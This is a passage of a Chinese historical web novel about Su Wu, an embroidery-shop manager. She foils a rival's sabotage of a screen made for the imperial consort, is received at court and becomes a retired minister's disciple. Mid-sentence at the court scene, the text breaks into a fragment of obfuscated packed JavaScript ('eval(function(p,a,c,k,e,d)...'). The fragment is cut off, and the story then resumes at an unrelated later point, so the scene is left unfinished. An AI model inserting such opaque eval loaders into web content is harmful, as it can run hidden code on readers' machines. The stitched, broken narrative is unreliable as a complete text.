她想起温氏是温庭远的侄女，想起王大曾说过，温庭远是隐退的老臣，心系天下，却因奸佞当道，不得不隐退。她的心底，渐渐生出了一个念头——她要结识温庭远，要学习更多的东西，要拥有更大的力量，不仅要让锦绣阁发展壮大，还要在这朝堂的暗流中，找到自己的位置，活出真正的自己。 5. 纹惊宫廷·初遇良师 暮春的京城，褪去了隆冬的凛冽，护城河畔的柳丝抽了新绿，街边的海棠开得如云似霞，锦绣阁的朱红大门前，车马往来比往日更甚，门楣上的黑底金字牌匾，在春日的阳光下熠熠生辉。自苏芜执掌账房与纹样设计以来，不过三月光景，这京城里最大的绣坊，便焕发出了全然不同的生机。 苏芜的偏房，成了锦绣阁最热闹的地方。原本不过是一间简陋的厢房，被她拾掇得干净雅致，靠窗摆着一张梨花木桌，桌上铺着素色锦缎，摆着炭笔、宣纸、丝线样本，还有一架小巧的算盘，桌角堆着厚厚的账目册，每一本都记得工工整整，字迹虽算不上娟秀，却笔笔清晰，力透纸背。青禾总守在桌边，替她磨墨、理线、整理账目，偶尔也会拿着绣绷，请教纹样的绣制技巧，苏芜便一边拨着算盘，一边轻声指点，眉眼间没有半分身居高位的倨傲，依旧是那副温润坚定的模样。 初时，绣坊里的老绣娘们还有诸多不服。她们大多在锦绣阁做了十几年，手艺精湛，见苏芜不过是个乡下来的杂役，一朝登天便执掌纹样设计，心里难免憋着气。有资历最老的张绣娘，曾是张嬷嬷的心腹，更是处处作对，苏芜设计的新纹样，她总挑三拣四，说“乡野路子登不得大雅之堂”，苏芜让她按新纹样绣制，她便阳奉阴违，依旧按着老样子绣，绣出来的东西不伦不类。 苏芜从未与她争辩，只是当着温氏和所有绣娘的面，取来张绣娘的绣品，又取来自己按新纹样绣的小样，两相对比。张绣娘的绣品，牡丹开得雍容却刻板，线条僵硬，毫无生气；而苏芜的小样，不过是寸许的荷莲，叶边带着晨露，蜻蜓停在荷尖，翅膀的薄纱用晕针绣制，近乎透明，连翅脉都清晰可见，一眼望去，仿佛能嗅到荷塘的清润，感受到蜻蜓振翅的微风。 “绣娘的手艺，在于针脚，更在于心意。”苏芜的声音不高，却字字清晰，“宫廷的富贵纹样固然好看，可看久了便觉乏味。如今世家贵女，皆喜清新灵动之物，寻常百姓，也爱贴近生活的纹样。我设计的纹样，不过是把乡野间的鲜活，融进绣品里，让绣品有了生气，而非只是一块绣了花的锦缎。” 她说着，又拿起张绣娘绣坏的锦缎，用炭笔在上面稍作修改，将刻板的牡丹旁添了几枝疏朗的竹枝，又在花瓣边点了几只飞舞的蝴蝶，瞬间便让整幅绣品活了过来：“绣活不是墨守成规，而是顺势而为。张绣娘手艺精湛，只是被老路子困住了，若能放开手脚，绣出来的东西，定然比我更好。” 苏芜的话，既点出了问题，又给足了张绣娘脸面，再加上那一手出神入化的改纹技巧，让在场的绣娘们心服口服。张绣娘红了脸，低头说了句“受教了”，此后便再也不与苏芜作对，反倒成了最拥护她的绣娘，将苏芜的纹样绣得惟妙惟肖。 苏芜也从未藏私，她将自己的绘纹技巧，还有从乡野间悟来的自然之法，尽数教给绣娘们。她教她们观察院中的花草、枝头的雀鸟，让她们把看到的鲜活，融进针脚里；她教她们根据不同的锦缎质地，调整绣法，让纹样与锦缎融为一体；她还根据每个绣娘的特长，分配不同的纹样绣制，手巧的绣精细的花鸟，力气大的绣大气的山水，让每个人的本事都能发挥到极致。 短短三月，锦绣阁的绣品便彻底变了模样。荷莲蜻蜓、竹枝雀鸟、丹桂秋菊，这些带着乡野清趣的纹样，取代了往日刻板的富贵牡丹，成了京城里的新潮流。世家贵女争相定制绣帕、绣裙，寻常百姓也舍得买上一方绣着小花的荷包，连宫里的尚衣局，都派人来锦绣阁，取了新纹样的样本回去参考。 账房这边，苏芜更是打理得井井有条。她将张嬷嬷留下的糊涂账一一理清，剔除了那些吃回扣的采买商，重新挑选了诚信可靠的供货商，将绸缎、丝线的价格压到最低，却保证质量；她还制定了新的账册制度，每日的采买、销售、绣娘的月钱，都记在专门的账册上，一日一结，一月一查，任何人都做不了手脚。温氏看过新的账目册，看着翻了近一倍的收益，对苏芜愈发信任，索性将锦绣阁的大小事务，都交给了苏芜打理，自己只偶尔来绣坊看看，落个清闲。 苏芜依旧不敢懈怠，每日天不亮便起床，先梳理前一日的账目，再根据订单设计新的纹样，晌午陪着绣娘们一起绣制，解决她们遇到的问题，傍晚又核对当日的采买，常常忙到深夜。青禾总心疼她，偷偷给她留着温热的莲子羹，劝她歇一歇，苏芜却只是笑，揉了揉青禾的头：“如今锦绣阁正是站稳脚跟的时候，不能有半分差错。等一切安稳了，我便陪你去护城河畔看柳花。” 青禾便点点头，把莲子羹推到她面前，又拿起账册帮她核对，小小的身影，成了苏芜身边最坚实的依靠。王大也依旧守着锦绣阁的后院，挑水劈柴，搬抬布料，谁要是敢在绣坊里说苏芜一句坏话，他第一个不依，成了苏芜的“护院”。绣坊里的人，从上到下，都对苏芜心服口服，往日里的勾心斗角，被一股融融的暖意取代，锦绣阁的日子，仿佛也像这春日的光景，一路向好。 可苏芜心里清楚，京城的繁华之下，从来都藏着暗流，锦绣阁的风头太盛，迟早会引来旁人的觊觎。她的预感，很快便成了现实。 这日午后，尚衣局的掌事姑姑亲自来了锦绣阁，身后跟着十几个宫女，抬着几匹御赐的云锦，还有一道明黄色的圣旨。温氏和苏芜连忙接旨，圣旨上写着，贵妃娘娘生辰将至，命锦绣阁在一月之内，绣制一幅六尺见方的百鸟朝凤绣屏，作为寿礼，若是绣得合心意，便封锦绣阁为“宫廷专供绣坊”，往后宫里的绣品，皆由锦绣阁承制。 这是天大的恩典，也是天大的考验。六尺见方的绣屏，百鸟朝凤，工序繁杂，寻常绣坊至少要三个月才能完成，而尚衣局只给了一月时间；更何况，贵妃娘娘性情挑剔，对绣品要求极高，若是有半分不满意，不仅恩典泡汤，还可能获罪。 温氏接过圣旨，脸上满是喜色，却也藏着担忧，拉着苏芜的手道：“苏芜，这是锦绣阁千载难逢的机会，只是时间太紧，难度太大，你可有把握？” 苏芜看着那几匹御赐的云锦，云锦质地柔软，色泽艳丽，是绣制绣屏的绝佳材料，她又想起圣旨里的百鸟朝凤，往日的百鸟朝凤，凤鸟居于正中，姿态威严，百鸟环绕，却依旧刻板，若是能做出新意，定能让贵妃娘娘满意。她沉吟片刻，抬眼看向温氏，眼底满是坚定：“东家放心，奴婢定不辱命，一月之内，必绣出百鸟朝凤绣屏。” 掌事姑姑见苏芜年纪轻轻，却语出坚定，眼底闪过一丝诧异，随即笑道：“温东家，这位便是苏姑娘吧？早听说锦绣阁出了个能设计新纹样的才女，今日一见，果然气度不凡。贵妃娘娘的寿礼，可就拜托苏姑娘了，若是绣得好，姑姑在娘娘面前，定然为苏姑娘美言。” 苏芜躬身行礼，道：“劳烦掌事姑姑费心，奴婢定竭尽全力。” 掌事姑姑又叮嘱了几句，便带着宫女离开了。温氏看着苏芜，松了口气：“有你这句话，我便放心了。绣坊里的所有人，都由你调遣，需要什么材料，只管说，哪怕是寻遍京城，我也给你找来。” “谢东家。”苏芜道，“奴婢只需绣坊的绣娘们齐心协力，再寻些上好的金线、孔雀羽线，便足够了。” 接下来的日子，锦绣阁便进入了紧张的赶工状态。苏芜将绣娘们分成六组，每组负责绣制一种鸟类，张绣娘手艺最精湛，负责绣制正中的凤鸟，苏芜则亲自设计纹样，指导绣制。往日里的百鸟朝凤，凤鸟皆是金红相间，居于正中，翅膀僵硬，而苏芜设计的凤鸟，以御赐云锦的绯红为底，用金线绣制羽毛，孔雀羽线绣制尾羽，尾羽舒展，如流云般散开，凤鸟的姿态，不是威严的立姿，而是振翅欲飞的模样，仿佛下一秒便要从绣屏上飞出来。 百鸟也并非刻板的环绕，而是或飞、或鸣、或栖，燕子掠过枝头，黄鹂停在花间，仙鹤立于石上，麻雀穿梭于草丛，每一只鸟都姿态各异，鲜活灵动，连鸟的羽毛，都根据不同的种类，用不同的绣法绣制，麻雀的羽毛用短针，蓬松柔软；仙鹤的羽毛用长针，疏朗飘逸；黄鹂的羽毛用晕针，色泽艳丽。苏芜还在绣屏的边角，添了几枝盛开的海棠，海棠的花瓣用薄纱绣制，近乎透明，与百鸟相映成趣，整幅绣屏，既有宫廷的富贵大气，又有乡野的鲜活灵动，一眼望去，便让人移不开眼。 绣娘们都被这新颖的纹样惊艳了，个个卯足了劲，日夜赶工，苏芜也守在绣坊里，日夜不休，一会儿指导绣娘们的针脚，一会儿修改纹样的细节，累了便靠在桌边歇片刻，喝一口青禾递来的茶水，便又继续忙活。青禾也跟着一起绣，小小的手捏着绣针，绣得格外认真，王大则守在绣坊门口，不许任何人随意进出，生怕打扰了绣娘们赶工。 一切都在有条不紊地进行着，眼看绣屏就要完成，意外却发生了。 这日清晨，苏芜像往常一样去绣坊查看绣屏，刚走进绣坊，便看到张绣娘瘫坐在地上，脸色惨白，绣屏被扔在一旁，凤鸟的尾羽被人剪去了一大片，原本绣得精致的尾羽，变得残缺不全，而绣屏的角落，还被人用墨汁涂了一大团黑渍，乌黑的墨汁渗进云锦，根本无法清洗。 绣娘们都围在一旁，惊慌失措，议论纷纷：“这可怎么办？还有十天就要交绣屏了，凤鸟的尾羽被剪，墨汁涂了云锦，根本补不好啊！” “是谁这么狠心？竟然做出这样的事！这可是御赐的云锦，弄坏了是要杀头的！” “肯定是有人故意陷害我们锦绣阁，不想让我们做成这宫廷订单！” 苏芜的心头一沉，快步走到绣屏前，蹲下身查看。凤鸟的尾羽是用珍贵的孔雀羽线绣制的，被人用剪刀齐齐剪去，边缘参差不齐，而墨汁是最浓的松烟墨，渗进了云锦的纹路里，确实难以清洗。她的目光扫过绣坊，地上有几滴散落的墨汁，还有一根不属于绣坊的银簪，簪子上刻着一朵精致的牡丹，一看便是贵女的饰物。 青禾也慌了，拉着苏芜的手道：“苏芜姐姐，这可怎么办？是谁干的？我们要不要报官？” 苏芜深吸一口气，压下心底的慌乱，站起身，对着众人沉声道：“大家都冷静点，不过是一点小意外，还能补救。报官的事，暂且不提，若是闹到官府，惊动了尚衣局，贵妃娘娘怪罪下来，我们都担待不起。” 她的声音平静，却带着一股安定人心的力量，绣娘们渐渐安静下来，看着她道：“苏姑娘，那你说，这绣屏还能补好吗？” “能。”苏芜的目光落在绣屏上，眼底闪过一丝笃定，“凤鸟的尾羽被剪，我们便换一种纹样，将残缺的部分，绣成流云绕凤；墨汁的黑渍，我们便在上面绣成一朵墨菊，以墨为底，用金线绣制花瓣，反倒能添几分雅致。只是需要大家再加把劲，日夜赶工，定能在十日之内补好。” 众人见苏芜胸有成竹，都松了口气，纷纷点头：“我们听苏姑娘的，哪怕不睡觉，也要把绣屏补好！” 苏芜点点头，安排绣娘们立刻开始补绣，又让青禾去取金线和新的孔雀羽线，自己则拿着炭笔，在绣屏上勾勒新的纹样，流云绕凤，墨菊映海棠，原本的残缺，竟被她勾勒出了另一番美感。 可苏芜的心里，却清楚地知道，这绝不是意外，而是有人故意陷害。那根银簪，还有地上的墨汁，都指向了一个人——京城柳太傅家的庶女，柳清柔。 柳清柔，是京城里出了名的骄纵贵女，仗着柳太傅的权势，横行霸道，目空一切。她与温氏是旧识，却一向嫉妒温氏的锦绣阁生意兴隆，前些日子，她来锦绣阁挑选绣品，见苏芜不过是个乡野女子，却能执掌锦绣阁的大权，温氏对她言听计从，心里便生出了嫉妒，当场便出言嘲讽，说苏芜“一身泥腥气，不配设计贵女的绣品”。 苏芜当时并未与她争辩，只是淡淡回了句“绣品无贵贱，心意最珍贵”，便转身离开了。柳清柔觉得自己丢了脸面，当场便摔了绣品，骂骂咧咧地走了。苏芜便料到，她定然会伺机报复，只是没想到，她竟如此大胆，敢弄坏御赐的云锦绣屏。 那根银簪，苏芜曾见过，柳清柔来锦绣阁时，头上便插着这样一根牡丹银簪。而松烟墨，是柳家书房常用的墨，寻常人家，根本用不起这样名贵的墨。 证据确凿，可苏芜却不能立刻找柳清柔对质。柳太傅是朝堂上的重臣，权倾朝野，若是没有十足的把握，不仅扳不倒柳清柔，还会让锦绣阁陷入万劫不复之地。苏芜只能压下心底的怒火，一边让绣娘们赶工补绣屏，一边暗中调查，收集柳清柔陷害锦绣阁的证据。 她让王大悄悄去柳府附近打探，又让账房先生查锦绣阁的采买记录，看看有没有人接触过柳清柔。不出三日，王大便带回了消息，说绣坊里的一个小绣娘，前几日偷偷见过柳清柔，柳清柔给了她一百两银子，让她弄坏绣屏。而账房先生也查到，那个小绣娘，近日突然买了许多名贵的首饰，根本不是她的月钱能负担的。 苏芜看着眼前的证据，眼底闪过一丝冷意。那个小绣娘，名叫春桃，是张嬷嬷的远房侄女，张嬷嬷被赶出锦绣阁后，她便一直心怀怨恨，柳清柔正是抓住了她的这点心思，收买了她。 苏芜没有立刻拆穿春桃，只是像往常一样，让她参与绣屏的补绣，却暗中让青禾和张绣娘盯着她，不让她再有机会破坏绣屏。春桃心里有鬼，做事总是心不在焉，绣的针脚歪歪扭扭，苏芜便借着这个由头，将她调到后院，让她做浆洗的活，彻底远离了绣屏。 十日的时间，转瞬即逝。绣娘们日夜赶工，苏芜也守在绣坊里，寸步不离，终于在尚衣局来取绣屏的前一日，将绣屏补好。补好的绣屏，比原本的设计更胜一筹，流云绕着凤鸟的尾羽，如仙境般缥缈，墨菊开在海棠边，黑白相映，雅致大气，百鸟依旧鲜活，凤鸟振翅欲飞，整幅绣屏，浑然天成，找不出半分瑕疵。 温氏看着绣屏，喜极而泣，拉着苏芜的手道：“苏芜，你真是锦绣阁的福星！这绣屏，比我想象的还要好，贵妃娘娘定然会喜欢！” 苏芜笑了笑，道：“这都是绣娘们齐心协力的功劳，奴婢不过是做了些分内之事。” 第二日，尚衣局的掌事姑姑亲自来了锦绣阁，身后跟着抬绣屏的宫人。掌事姑姑看到绣屏的那一刻，眼睛瞬间亮了，绕着绣屏走了三圈，连连赞叹：“好！好一幅百鸟朝凤绣屏！贵妃娘娘见了，定然会龙颜大悦！苏姑娘的手艺，真是绝了！” 她说着，又看向苏芜，眼底满是欣赏：“苏姑娘年纪轻轻，竟有如此才华，真是难得。姑姑这就把绣屏送进宫，定在娘娘面前，为苏姑娘和锦绣阁美言。” 苏芜躬身行礼，道：“劳烦掌事姑姑。” 掌事姑姑带着宫人，抬着绣屏，欢欢喜喜地走了。绣坊里的绣娘们，都欢呼起来，连日来的疲惫，都化作了喜悦。苏芜看着众人的笑脸，也松了口气，可她知道，柳清柔不会善罢甘休，这一次的陷害失败，她定然会想出更恶毒的法子。 果然，不出三日，宫里便传来消息，贵妃娘娘对百鸟朝凤绣屏极为满意，下旨封锦绣阁为“宫廷专供绣坊”，赏了温氏和苏芜许多珍宝，还特意宣苏芜进宫，想要见一见这位设计出如此精美纹样的才女。 消息传到柳府，柳清柔气得摔了一屋子的东西，将桌上的茶盏扫落在地，尖叫道：“苏芜那个贱婢！竟然还能翻身！本宫定要让她身败名裂，死无葬身之地！” 一旁的侍女吓得瑟瑟发抖，不敢出声。柳清柔喘着粗气，眼底闪过一丝阴狠，她走到窗边，看着远处的皇宫，嘴角勾起一抹恶毒的笑：“苏芜，你不是喜欢设计纹样吗？你不是想进宫见贵妃娘娘吗？本宫便让你进宫，只是这宫墙之内，可不是你想进就能进，想走就能走的！” 苏芜接到进宫的旨意时，正在设计新的宫廷纹样，青禾拿着圣旨跑进来，脸上满是喜色：“苏芜姐姐，宫里传旨了，贵妃娘娘要见你！” 苏芜放下炭笔，接过圣旨，眼底闪过一丝平静。她知道，进宫既是恩典，也是危机，柳清柔定然会在宫里等着她，给她设下陷阱。可她没有选择，只能进宫，若是能得到贵妃娘娘的赏识，锦绣阁便能在京城彻底站稳脚跟，若是躲着不去，反倒落了把柄，让柳清柔有机可乘。 温氏也赶来偏房，看着苏芜道：“苏芜，进宫见驾，非同小可，你一定要小心谨慎，言多必失，贵妃娘娘问什么，你便答什么，切勿多言。柳清柔定然会在宫里找你的麻烦，你切记，忍一时风平浪静，切勿与她硬碰硬。” “奴婢知道了，东家放心。”苏芜道，“奴婢定当小心，不会给锦绣阁惹麻烦。” 温氏点点头，让人取来一身新的青布衣裙，给苏芜换上，又替她整理了发髻，叮嘱道：“你虽只是绣坊的女眷，可也是奉了圣旨进宫，不必太过卑微，也不可太过张扬，不卑不亢，便是最好。” 苏芜躬身道谢，又拉过青禾的手，道：“青禾，我进宫之后，绣坊里的事，便拜托你和张绣娘打理，若是有什么事，便让人去温府找东家，切勿自作主张。” 青禾点点头，眼眶红红的：“苏芜姐姐，你一定要小心，我在绣坊等你回来。” 王大也赶来，对着苏芜道：“苏姑娘，我送你到宫门口，若是宫里有什么动静，我便立刻回绣坊报信。” 苏芜点点头，谢过众人，便跟着传旨的宫人，朝着皇宫走去。 皇宫的朱红大门，巍峨矗立，宫墙高耸，青砖黛瓦，透着一股威严与冰冷。苏芜跟在宫人身后，一步步走进宫墙，脚下的青石板路，光滑如镜，映着她的身影，两旁的宫灯高悬，雕梁画栋，金碧辉煌，却让人觉得压抑。 她跟着宫人走到御花园的沁芳亭，贵妃娘娘正与几位贵女坐在亭中赏花，柳清柔也在其中，穿着一身粉色的锦裙，头上插着金步摇，见苏芜走来，嘴角勾起一抹讥讽的笑，眼底满是不屑。 苏芜躬身行礼，声音清亮：“奴婢苏芜，参见贵妃娘娘，娘娘金安。” 贵妃娘娘抬眼看向苏芜，见她虽穿着普通的青布衣裙，却身姿挺拔，眉眼坚定，毫无半分怯意，眼底闪过一丝诧异，随即笑道：“你便是苏芜？抬起头来，让本宫看看。” 苏芜缓缓抬头，目光平视，不卑不亢。贵妃娘娘看着她的眉眼，点了点头：“果然是个灵秀的姑娘，难怪能设计出那般精美的百鸟朝凤绣屏。本宫看了那绣屏，甚是喜欢，你的心思，倒是巧得很。” “谢娘娘夸奖，奴婢只是略懂绘纹，不敢当娘娘的夸赞。”苏芜道。 “你倒是谦虚。”贵妃娘娘笑了笑，指着亭中的一张石桌，“来，坐在这里，陪本宫说说话。本宫听说，你设计的纹样，皆是乡野间的花鸟，倒是与宫里的纹样大不相同，你是怎么想到的？” 苏芜谢过贵妃娘娘，坐在石桌旁，道：“奴婢出身乡野，自小见惯了山间的花鸟草木，那些鲜活的景致，都刻在了奴婢的心里。奴婢觉得，绣品本就是为了装点生活，若是少了鲜活的心意，便失了趣味，所以便将乡野间的景致，融进了纹样里，没想到能入娘娘的眼。” 贵妃娘娘闻言，更是喜欢：“说得好！宫里的绣品，太过刻板，倒是你这乡野的路子，更合本宫的心意。往后宫里的绣品，便都由你设计，尚衣局的绣娘们，也由你指点，你可愿意？” 这又是天大的恩典，若是答应，苏芜便成了宫里的御用纹样设计师，锦绣阁的地位，便无人能撼动。可苏芜却躬身道：“娘娘抬爱，奴婢感激不尽，只是奴婢身为民女，粗鄙无知，恐难当此任。况且锦绣阁还有诸多事务，奴婢离不开，只能替娘娘设计纹样，指点尚衣局的绣娘们，却不能留在宫里。” 她知道，宫墙之内，步步惊心，若是留在宫里，便成了各方势力争夺的棋子，身不由己。她只想守着锦绣阁，守着青禾和一众绣娘们，安稳度日，不愿卷入宫廷的纷争。 贵妃娘娘见她拒绝得干脆，却又言辞恳切，眼底闪过一丝欣赏，道：“你倒是个通透的姑娘，不贪慕富贵，难能可贵。也罢，便依你，你只需替本宫设计纹样，指点尚衣局的绣娘们便可，不必留在宫里。” “谢娘娘体恤。”苏芜躬身道谢。 一旁的柳清柔见贵妃娘娘对苏芜如此赏识，心里的嫉妒更甚，她端起桌上的茶盏，走到苏芜面前，故作娇柔地笑道：“苏姑娘真是好本事，不过是乡野间的丫头，竟能得到贵妃娘娘的如此厚爱，真是让人羡慕。只是不知，苏姑娘的手艺，是不是真的像传闻中那般好？不如今日，便在娘娘面前露一手，让我们开开眼界如何？” 她说着，便将手中的茶盏，朝着苏芜的身上泼去，滚烫的茶水，朝着苏芜的脸颊和衣裙泼来，柳清柔的眼底，闪过一丝阴狠，她要让苏芜在贵妃娘娘面前出丑，让贵妃娘娘厌弃她。 周围的贵女们都惊呼起来，贵妃娘娘也皱起了眉头。苏芜却反应极快，侧身避开，滚烫的茶水擦着她的衣袖飞过，洒在地上，溅起几滴水花。她稳稳地站在原地，衣衫未湿，眉眼依旧平静，看着柳清柔，淡淡道：“柳姑娘，好端端的，为何要泼奴婢茶水？” 柳清柔见苏芜避开了，心里有些恼怒，却故作无辜地笑道：“哎呀，真是不好意思，苏姑娘，本宫不是故意的，只是手滑了。看来苏姑娘的身手，倒是比绣活还好，难怪能在锦绣阁里，一手遮天。” 她的话，意有所指，暗指苏芜在锦绣阁里横行霸道，手段狠辣。 苏芜却不恼，只是淡淡道：“柳姑娘说笑了，奴婢只是反应快了些。至于锦绣阁，不过是东家信任，绣娘们齐心协力，并非奴婢一手遮天。柳姑娘出身名门，知书达理，想必也知道，随意泼人茶水，并非贵女所为。” 她的话，不卑不亢，既反驳了柳清柔的暗指，又点出了她的失礼，让柳清柔的脸色一阵红一阵白。 贵妃娘娘也看出了柳清柔的故意，脸色沉了下来，道：“清柔，休得无礼！苏姑娘是本宫请来的客人，你怎可如此对待？还不快向苏姑娘道歉！” 柳清柔没想到贵妃娘娘会当众斥责她，心里又气又恨，却不敢违抗贵妃娘娘的旨意，只能不情不愿地对着苏芜道：“苏姑娘，对不起，本宫不是故意的。” “柳姑娘言重了，奴婢不敢当。”苏芜淡淡道，并未接受她的道歉，也并未得寸进尺，点到即止。 贵妃娘娘看着苏芜的模样，更是满意，觉得她识大体，有分寸，便对着身边的侍女道：“取本宫的玉镯来，赏给苏姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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苏芜的心底，也生出了这样的念头。她如今的力量，太过微薄，若是想保护锦绣阁，保护身边的人，必须要有贵人相助，要有足够的力量，对抗柳清柔和朝堂上的奸佞势力。而她心里，已经有了一个人选——温庭远。 温庭远，温氏的叔父，前太子太傅，因不满朝堂上奸佞当道，贵妃的兄长丞相魏忠贤专权，便辞官归隐，居于京城的温府，闭门不出。他是朝堂上的忠良之臣，心系天下，虽归隐田园，却依旧在暗中联络忠良之士，想要扳倒魏忠贤，还朝堂一个清明。 温氏曾与苏芜提起过温庭远，说他学识渊博，洞察人心，只是性情孤傲，不轻易接见外人。苏芜觉得，若是能得到温庭远的指点，甚至相助，她便能看清朝堂的暗流，找到对抗柳清柔和魏忠贤的方法，让锦绣阁在这乱世之中，站稳脚跟。 只是温庭远归隐多年，不轻易接见外人，苏芜一个乡野出身的绣坊女眷，想要见他，并非易事。 机会，却来得比苏芜想象的更快。 几日后，温氏派人来绣坊，请苏芜去温府赴宴，说是温庭远听闻了她的事，想要见一见她。苏芜听到消息时，正在设计新的宫廷纹样，手中的炭笔一顿，眼底闪过一丝惊喜，她立刻放下炭笔，整理了衣衫，便跟着来人，朝着温府走去。 温府居于京城的西巷，远离闹市，朱红的大门紧闭，门旁种着几株翠竹，透着一股清雅的气息。走进温府，庭院深深，假山流水，亭台楼阁，皆透着一股书卷气，与柳府的奢华截然不同。 苏芜跟着来人走到书房，温氏正站在书房门口，见她走来，笑道：“苏芜，你可来了，叔父正在书房里等你，他的性子孤傲，你进去之后，切勿多言，他问什么，你便答什么。” 苏芜点点头，道：“奴婢知道了。” 温氏推开书房的门，苏芜躬身走了进去。书房很大，四壁皆摆满了书籍，书卷的墨香扑面而来，书桌后，坐着一位须发皆白的老者，老者穿着一身素色的儒衫，面容清癯，眼神却炯炯有神，透着一股洞察一切的智慧，正是温庭远。 苏芜躬身行礼，道：“民女苏芜，见过温太傅。” 温庭远抬眼看向苏芜，目光如炬，扫过她的全身，仿佛能看透她的心底。苏芜被他的目光看着，却依旧身姿挺拔，不卑不亢，眼底没有半分怯意。 许久，温庭远才开口，声音苍老却有力：“你便是苏芜？那个从乡野来的，执掌锦绣阁，设计出百鸟朝凤绣屏的姑娘？” “正是民女。”苏芜道。 “抬起头来。”温庭远道。 苏芜缓缓抬头，与他的目光对视，眼底平静，毫无波澜。 温庭远看着她的眉眼，点了点头：“不错，眼神坚定，身姿挺拔，虽是乡野出身，却有一身傲骨，难怪能在京城站稳脚跟，还能躲过柳清柔的刁难，得到贵妃的赏识。” 苏芜道：“太傅过奖，民女不过是运气好，有东家相助，绣娘们齐心协力，才得以站稳脚跟。” “运气？”温庭远笑了笑，“在这京城，在这乱世，光有运气，是远远不够的。你能从杂役做到锦绣阁的执掌人，能设计出惊艳宫廷的纹样，能在柳清柔的刁难下全身而退，靠的不是运气，是你的智慧，你的韧性，你的通透。” 他的话，一语道破了苏芜的本事，让苏芜的心底，生出一丝敬佩。 温庭远又道：“我听说，你不仅会绘纹，还会理账，甚至懂些草药知识，是吗？” “民女自小在乡野长大，为了活下去，便学了些粗浅的本事，不值一提。”苏芜道。 “粗浅的本事？”温庭远摇了摇头，“能把锦绣阁的账目打理得井井有条，让收益翻一倍，这可不是粗浅的本事；能懂草药，救人性命，也不是粗浅的本事；能从乡野走到京城，从杂役做到宫廷御用设计师，这更不是粗浅的本事。苏芜，你是个难得的人才，若是只守着一个锦绣阁，未免太过可惜。” 苏芜躬身道：“民女出身微寒，不敢奢求太多，只求能守着锦绣阁，守着身边的人，安稳度日，便足矣。” “安稳度日？”温庭远的目光沉了下来，看向窗外，“如今大靖王朝，皇权渐弱，魏忠贤专权，柳太傅之流趋炎附势，奸佞当道，民不聊生，这天下，早已没有安稳之地。你以为，守着一个锦绣阁，便能安稳度日吗？柳清柔今日能陷害你弄坏绣屏，明日便能联合魏忠贤，抄了你的锦绣阁，取了你的性命。在这乱世，想要安稳度日，唯有手握力量，唯有站在高处，唯有拨乱反正，还天下一个清明。” 他的话，字字铿锵，敲在苏芜的心底。苏芜也知道，这天下早已没有安稳之地，可她只是一介女流，出身微寒，纵使有几分本事，又能做些什么？ 仿佛看穿了她的心思，温庭远道：“你以为，一介女流，便不能有所作为吗？古有穆桂英挂帅，樊梨花征西，女子未必不如男。你有智慧，有韧性，有通透的心思，还有过目不忘的天赋，若是加以点拨，定能成为搅动这天下的力量。锦绣阁虽是绣坊，却连接着宫廷与民间，你的纹样，能走进深宫，能传遍民间，这便是你的力量。” 苏芜的心底，掀起了惊涛骇浪。她从未想过，自己的绣坊，自己的纹样，竟能成为搅动天下的力量。温庭远的话，像一盏明灯，照亮了她前行的路，让她看清了自己的力量，也看清了这天下的暗流。 她躬身道：“太傅所言，让民女茅塞顿开。只是民女愚钝，不知该如何做，还望太傅指点。” 温庭远看着她，眼底闪过一丝欣慰，道：“你能想通，便是最好。我今日见你，便是想点拨你一二。往后，你只需守好锦绣阁，用你的纹样，连接宫廷与民间，替我收集朝堂与民间的消息。锦绣阁的绣品，能走进各个世家，各个府邸，那些绣品的纹样，便能成为你传递消息的工具。我会教你读书识字，教你洞察人心，教你应对朝堂的纷争，让你拥有足够的力量，保护自己，保护身边的人，甚至，改变这天下。” 这是一份沉甸甸的托付，也是一份沉甸甸的期望。苏芜知道，若是答应，她便会卷入朝堂的纷争，从此身不由己，前路布满荆棘，甚至可能丢掉性命。可若是不答应，她便只能守着锦绣阁，任人宰割，柳清柔和魏忠贤的刀，迟早会架在她的脖子上。 更重要的是，温庭远的话，让她的心底，生出了一丝从未有过的念头。她不再只是想活下去，不再只是想守着锦绣阁，她想拥有力量，想保护那些和她一样出身微寒，被人欺凌的人，想让这天下，少一些奸佞，多一些清明，让像她和青禾一样的孤女，能有一个安稳的容身之所。 苏芜跪在地上，对着温庭远重重一拜，声音坚定：“民女苏芜，愿听太傅指点，愿为太傅所用，愿为这天下的清明，尽绵薄之力！” 温庭远看着跪在地上的苏芜，眼底闪过一丝笑意，伸手扶起她：“好！好！不枉我看中你！从今往后，你便是我的弟子，我会将我毕生所学，尽数教给你。只是你要记住，这条路，注定艰难，注定孤独，你可后悔？” “民女不悔！”苏芜的目光，无比坚定，“纵使前路布满荆棘，纵使身临险境，民女也绝不后悔！” 从温府出来时，已是深夜，京城的街道上，灯火阑珊，晚风拂过，带着一丝凉意，却吹不散苏芜心底的炽热。她抬头看向夜空，繁星点点，照亮了前行的路。 她知道，从今日起，她的人生，便彻底改变了。她不再只是锦绣阁的苏芜，不再只是一个设计纹样的绣娘，她成了温庭远的弟子，成了朝堂忠良之士的一员，成了搅动天下暗流的一颗棋子。 锦绣阁的风雨，不过是京城风雨的一角，而真正的风雨，才刚刚开始。 回到锦绣阁，青禾还在偏房等她，见她回来，连忙迎上来：“苏芜姐姐，你回来了，温太傅他……” 苏芜看着青禾担忧的模样，笑了笑，揉了揉她的头，眼底满是坚定：“青禾，从今日起，我们的日子，会越来越好，也会越来越难。但你放心，我会保护你，保护锦绣阁的所有人，让我们都能好好活下去。” 青禾看着苏芜眼底的坚定，似懂非懂地点了点头，紧紧拉着她的手：“苏芜姐姐，我相信你，无论多难，我都会跟着你，永远不离开你。” 苏芜点点头，握紧了青禾的手。窗外的月光，洒进偏房，落在桌上的纹样纸上，纸上的荷莲蜻蜓，在月光下，愈发鲜活。 她的身边，有青禾的陪伴，有张绣娘、王大等绣坊众人的支持，有温氏的信任，还有温庭远的指点，纵使前路布满荆棘，纵使朝堂暗流涌动，她也无所畏惧。 她会像那石缝里的野草，倔强生长；像那绣屏上的凤鸟，振翅高飞。她会用自己的智慧，自己的韧性，自己的绣针与炭笔，在这大靖王朝的天地间，走出一条属于自己的路，活成自己的光，也活成那些身处黑暗的人的光。 而柳清柔，魏忠贤，那些欺辱她、陷害她、想要置她于死地的人，她都会一一反击，让他们付出应有的代价。 